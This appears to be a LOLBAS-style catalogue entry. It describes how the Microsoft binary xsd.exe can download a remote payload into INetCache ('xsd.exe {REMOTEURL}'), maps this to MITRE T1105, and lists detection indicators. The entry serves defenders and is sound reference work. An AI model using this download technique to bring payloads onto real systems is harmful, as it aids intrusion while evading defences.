xsd.exe

Downloads payload from remote server

Use It will download a remote payload and place it in INetCache

xsd.exe {REMOTEURL}

Evidence

Upstream reference

Environment

Local host

Context

user

Native

Download

MITRE

T1105

Detection

IOC: URL on a xsd.exe command line

IOC: xsd.exe making unexpected network connections or DNS requests

Refs

lolbas-project.github.io/lolbas/OtherMSBinaries/xsd/